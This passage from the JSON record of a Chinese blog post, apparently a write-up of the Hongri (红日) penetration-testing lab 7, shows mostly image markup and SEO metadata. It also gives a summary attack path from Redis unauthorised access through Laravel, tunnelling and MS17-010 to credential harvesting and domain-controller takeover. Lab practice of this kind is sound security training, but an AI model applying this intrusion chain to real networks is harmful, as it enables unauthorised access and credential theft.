src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-55.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u62ff\u4e0b\u57df\u63a7\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-56.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-56.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u601d\u8def\uff1a<code>Kali -&gt; Redis\u672a\u6388\u6743 -&gt; Web1 -&gt; Laravel -&gt; Web2 -&gt; \u4e00\u7ea7\u96a7\u9053 -&gt; PC1(OA) -&gt; \u4e8c\u7ea7\u96a7\u9053 -&gt; PC2(MS17-010) -&gt; \u51ed\u636e\u83b7\u53d6 -&gt; DC<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9776\u573a\u7f51\u7edc\u62d3\u6251 Kali eth0 VMnet8:192.168.52.128 DMZ\u8df3\u677f\u673a:Web1: VMn [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2178,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2175","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-writings"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u7ea2\u65e5\u9776\u573a\u4e03 - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/koishi.team\/index.php\/2026\/07\/17\/\u7ea2\u65e5\u9776\u573a\u4e03\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u7ea2\u65e5\u9776\u573a\u4e03 - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\" \/>\n<meta property=\"og:description\" content=\"\u9776\u573a\u7f51\u7edc\u62d3\u6251 Kali eth0 VMnet8:192.168.52.128 DMZ\u8df3\u677f\u673a:Web1: VMn [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/koishi.team\/index.php\/2026\/07\/17\/\u7ea2\u65e5\u9776\u573a\u4e03\/\" \/>\n<meta property=\"og:site_name\" content=\"\u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\" \/>\n<meta property=\"article:published_time\" content=\"2026-07-17T08:39:32+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-07-17T10:24:41+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/thumb-1920-1258493.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1274\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Speeder\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/77992108_p0-1-scaled.jpg\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"Speeder\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/\"},\"author\":{\"name\":\"Speeder\",\"@id\":\"https:\\\/\\\/koishi.team\\\/#\\\/schema\\\/person\\\/61a09d37ac9078d28245c5e1502a58c3\"},\"headline\":\"\u7ea2\u65e5\u9776\u573a\u4e03\",\"datePublished\":\"2026-07-17T08:39:32+00:00\",\"dateModified\":\"2026-07-17T10:24:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/\"},\"wordCount\":486,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/#\\\/schema\\\/person\\\/61a09d37ac9078d28245c5e1502a58c3\"},\"image\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2026\\\/07\\\/thumb-1920-1258493.png\",\"articleSection\":[\"\u6587\u7ae0\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/\",\"url\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/\",\"name\":\"\u7ea2\u65e5\u9776\u573a\u4e03 - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2026\\\/07\\\/thumb-1920-1258493.png\",\"datePublished\":\"2026-07-17T08:39:32+00:00\",\"dateModified\":\"2026-07-17T10:24:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/#primaryimage\",\"url\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2026\\\/07\\\/thumb-1920-1258493.png\",\"contentUrl\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2026\\\/07\\\/thumb-1920-1258493.png\",\"width\":1920,\"height\":1274},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/2026\\\/07\\\/17\\\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/koishi.team\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u7ea2\u65e5\u9776\u573a\u4e03\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/koishi.team\\\/#website\",\"url\":\"https:\\\/\\\/koishi.team\\\/\",\"name\":\"\u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c\",\"description\":\"\u300cSubterranean Rose\u300d\",\"publisher\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/#\\\/schema\\\/person\\\/61a09d37ac9078d28245c5e1502a58c3\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/koishi.team\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-Hans\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/koishi.team\\\/#\\\/schema\\\/person\\\/61a09d37ac9078d28245c5e1502a58c3\",\"name\":\"Speeder\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/75732553_p0-150x150.jpg\",\"url\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/75732553_p0-150x150.jpg\",\"contentUrl\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/75732553_p0-150x150.jpg\",\"caption\":\"Speeder\"},\"logo\":{\"@id\":\"https:\\\/\\\/koishi.team\\\/wp-content\\\/uploads\\\/2025\\\/05\\\/75732553_p0-150x150.jpg\"},\"sameAs\":[\"https:\\\/\\\/koishi.team\"],\"url\":\"https:\\\/\\\/koishi.team\\\/index.php\\\/author\\\/speeder\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u7ea2\u65e5\u9776\u573a\u4e03 - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/\u7ea2\u65e5\u9776\u573a\u4e03\/","og_locale":"zh_CN","og_type":"article","og_title":"\u7ea2\u65e5\u9776\u573a\u4e03 - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","og_description":"\u9776\u573a\u7f51\u7edc\u62d3\u6251 Kali eth0 VMnet8:192.168.52.128 DMZ\u8df3\u677f\u673a:Web1: VMn [&hellip;]","og_url":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/\u7ea2\u65e5\u9776\u573a\u4e03\/","og_site_name":"\u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","article_published_time":"2026-07-17T08:39:32+00:00","article_modified_time":"2026-07-17T10:24:41+00:00","og_image":[{"width":1920,"height":1274,"url":"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/thumb-1920-1258493.png","type":"image\/png"}],"author":"Speeder","twitter_card":"summary_large_image","twitter_image":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/77992108_p0-1-scaled.jpg","twitter_misc":{"\u4f5c\u8005":"Speeder","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"13 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/#article","isPartOf":{"@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/"},"author":{"name":"Speeder","@id":"https:\/\/koishi.team\/#\/schema\/person\/61a09d37ac9078d28245c5e1502a58c3"},"headline":"\u7ea2\u65e5\u9776\u573a\u4e03","datePublished":"2026-07-17T08:39:32+00:00","dateModified":"2026-07-17T10:24:41+00:00","mainEntityOfPage":{"@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/"},"wordCount":486,"commentCount":0,"publisher":{"@id":"https:\/\/koishi.team\/#\/schema\/person\/61a09d37ac9078d28245c5e1502a58c3"},"image":{"@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/#primaryimage"},"thumbnailUrl":"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/thumb-1920-1258493.png","articleSection":["\u6587\u7ae0"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/","url":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/","name":"\u7ea2\u65e5\u9776\u573a\u4e03 - \u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","isPartOf":{"@id":"https:\/\/koishi.team\/#website"},"primaryImageOfPage":{"@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/#primaryimage"},"image":{"@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/#primaryimage"},"thumbnailUrl":"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/thumb-1920-1258493.png","datePublished":"2026-07-17T08:39:32+00:00","dateModified":"2026-07-17T10:24:41+00:00","breadcrumb":{"@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/"]}]},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/#primaryimage","url":"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/thumb-1920-1258493.png","contentUrl":"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/thumb-1920-1258493.png","width":1920,"height":1274},{"@type":"BreadcrumbList","@id":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/koishi.team\/"},{"@type":"ListItem","position":2,"name":"\u7ea2\u65e5\u9776\u573a\u4e03"}]},{"@type":"WebSite","@id":"https:\/\/koishi.team\/#website","url":"https:\/\/koishi.team\/","name":"\u5c0f\u77f3\u5934\u7684\u7eee\u5fc3\u697c","description":"\u300cSubterranean Rose\u300d","publisher":{"@id":"https:\/\/koishi.team\/#\/schema\/person\/61a09d37ac9078d28245c5e1502a58c3"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/koishi.team\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-Hans"},{"@type":["Person","Organization"],"@id":"https:\/\/koishi.team\/#\/schema\/person\/61a09d37ac9078d28245c5e1502a58c3","name":"Speeder","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/75732553_p0-150x150.jpg","url":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/75732553_p0-150x150.jpg","contentUrl":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/75732553_p0-150x150.jpg","caption":"Speeder"},"logo":{"@id":"https:\/\/koishi.team\/wp-content\/uploads\/2025\/05\/75732553_p0-150x150.jpg"},"sameAs":["https:\/\/koishi.team"],"url":"https:\/\/koishi.team\/index.php\/author\/speeder\/"}]}},"_links":{"self":[{"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/posts\/2175","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/comments?post=2175"}],"version-history":[{"count":2,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/posts\/2175\/revisions"}],"predecessor-version":[{"id":2180,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/posts\/2175\/revisions\/2180"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/media\/2178"}],"wp:attachment":[{"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/media?parent=2175"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/categories?post=2175"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/koishi.team\/index.php\/wp-json\/wp\/v2\/tags?post=2175"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}